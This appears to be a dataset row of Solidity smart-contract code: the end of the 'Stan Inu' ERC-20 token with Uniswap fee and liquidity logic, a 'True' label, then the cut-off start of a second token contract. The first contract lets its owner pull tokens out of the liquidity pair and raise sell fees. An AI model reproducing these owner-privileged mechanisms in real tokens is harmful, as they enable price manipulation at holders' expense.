* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract StanInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyTreasuryFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellTreasuryFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Stan Inu", "SINU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 4;
uint256 _buyLiquidityFee = 4;
uint256 _buyTreasuryFee = 2;
uint256 _sellMarketingFee = 4;
uint256 _sellLiquidityFee = 4;
uint256 _sellTreasuryFee = 2;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 20 / 1000; // 2% maxTransactionAmountTxn
maxWallet = totalSupply * 40 / 1000; // 4% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyTreasuryFee = _buyTreasuryFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyTreasuryFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellTreasuryFee = _sellTreasuryFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellTreasuryFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _TreasuryFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyTreasuryFee = _TreasuryFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyTreasuryFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _TreasuryFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellTreasuryFee = _TreasuryFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellTreasuryFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellTreasuryFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyTreasuryFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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|
/**
*Discord - https://discord.gg/CPNuCcdD
*Website - kevinu.io
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transacgtion ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
